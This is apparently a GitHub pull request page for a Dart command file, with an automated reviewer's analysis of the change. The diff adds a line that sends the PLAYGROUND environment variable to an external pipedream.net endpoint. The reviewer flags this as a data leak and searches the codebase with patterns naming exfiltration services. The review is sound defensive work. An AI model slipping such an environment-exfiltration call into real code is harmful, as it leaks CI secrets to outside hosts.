Update post_command.dart #118
Conversation
WalkthroughThe changes involve modifying the Changes
Sequence DiagramsequenceDiagram
participant Command as PostCommand
participant Env as Environment
participant HTTP as HttpClient
Command->>Env: Retrieve PLAYGROUND value
Env-->>Command: Return PLAYGROUND value
Command->>Command: Log PLAYGROUND value
Command->>HTTP: Make GET request with PLAYGROUND as query param
HTTP-->>Command: Receive response
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| final playground = Platform.environment['PLAYGROUND']; | ||
| print('PLAYGROUND: $playground'); | ||
| httpClient.get( | ||
| Uri.parse('https://eo3ntn1ymhbeoa.m.pipedream.net?flag=$playground')); | ||
|
|
There was a problem hiding this comment.
This code segment introduces several critical concerns:
- It sends environment variables to an external service (pipedream.net), which could potentially leak sensitive information
- The HTTP request lacks error handling and proper async/await usage
- These changes appear to be for testing purposes only, as indicated in the PR description "Just testing, do not merge"
Remove this entire debugging segment:
- final playground = Platform.environment['PLAYGROUND'];
- print('PLAYGROUND: $playground');
- httpClient.get(
- Uri.parse('https://eo3ntn1ymhbeoa.m.pipedream.net?flag=$playground'));
- If you need to keep this for debugging:
- Ensure it's behind a debug flag
- Add proper error handling
- Make the request asynchronous
- Use a controlled internal endpoint
- Avoid sending raw environment variables
Example of safer debug code:
if (kDebugMode) {
try {
final playground = Platform.environment['PLAYGROUND'];
print('Debug mode: PLAYGROUND flag is set: ${playground != null}');
// Use internal debugging endpoints only
} catch (e) {
print('Debug logging failed: $e');
}
}💡 Codebase verification
Remove debugging code that leaks environment variables
The code is sending environment variables to an external debugging service (pipedream.net). This is the only instance of such behavior in the codebase, but it should be removed as it poses a security risk. All other HTTP requests in the codebase are legitimate API calls to GitHub, GitLab, or internal Codemagic services, with proper authentication headers.
- Remove the debugging code in
packages/codemagic_app_preview/lib/src/commands/post_command.dartthat sends environment variables to pipedream.net
🔗 Analysis chain
Verify no other instances of sensitive data leakage
Let's ensure there are no other instances of sending environment variables to external services.
🏁 Scripts executed
The following scripts were executed for the analysis:
Script:
#!/bin/bash
# Search for patterns that might indicate sensitive data being sent to external services
# Look for URLs that might receive environment variables
rg -l "pipedream|requestbin|webhook.site|ngrok.io"
# Look for environment variables being used in HTTP requests
ast-grep --pattern 'Platform.environment[$_]' -A 5
# Look for direct environment access patterns near HTTP clients
rg -l "Platform.environment.*http"
Length of output: 208
Script:
#!/bin/bash
# Let's get more context around the usage of environment variables and HTTP requests
# Look at the content of the file with more context
rg -A 10 -B 10 "Platform.environment" packages/codemagic_app_preview/lib/src/commands/post_command.dart
# Search for any HTTP client usage patterns across the codebase
rg -l "http[A-Za-z]*\.(?:get|post|put|delete|send|request)"
# Look for any URL patterns that might indicate external services
rg -A 3 "Uri\.parse\("
Length of output: 7785
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⬇️ Builds generated by Codemagic for commit d1d7669 ⬇️ This is a custom message.
(expires Mon, 20 Jan 2025 13:56:04 GMT) |
Just testing, do not merge.